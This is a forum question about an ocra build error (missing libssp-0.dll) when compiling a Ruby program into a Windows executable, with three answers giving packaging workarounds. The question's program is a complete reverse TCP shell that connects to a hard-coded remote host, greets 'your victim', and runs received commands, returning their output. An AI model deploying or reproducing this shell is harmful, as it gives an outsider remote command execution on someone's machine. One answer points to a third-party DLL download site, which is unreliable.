Ruby compile with ocra error - libssp-0.dll not found

1.8k views Asked by At

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.

The code is pretty simple:

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"

#Tries to connect every 5 seconds
begin
    sock = TCPSocket.new "#{RHOST}","#{PORT}"
    sock.puts "You are connected to your victim" 
rescue
    puts "Retrying..."
    sleep 5
    retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
    while line = sock.gets && line
        Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | 
            IO.copy_stream(stdout_and_stderr, sock)
        end
    end
rescue
    retry
end

I build it with: ocra RevShell.rb --verbose

I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"

Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.

Thanks for your help.

3

There are 3 answers

0
Takahiro Maru On

I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.

In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.

For time being, I could evade this problem by using (x86) version of Ruby 2.7.

0
kojix2 On

Use --dll ruby_builtin_dlls\libssp-0.dll.

See https://github.com/larsch/ocra/issues/168 for more details.

0
invisible boi On

Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.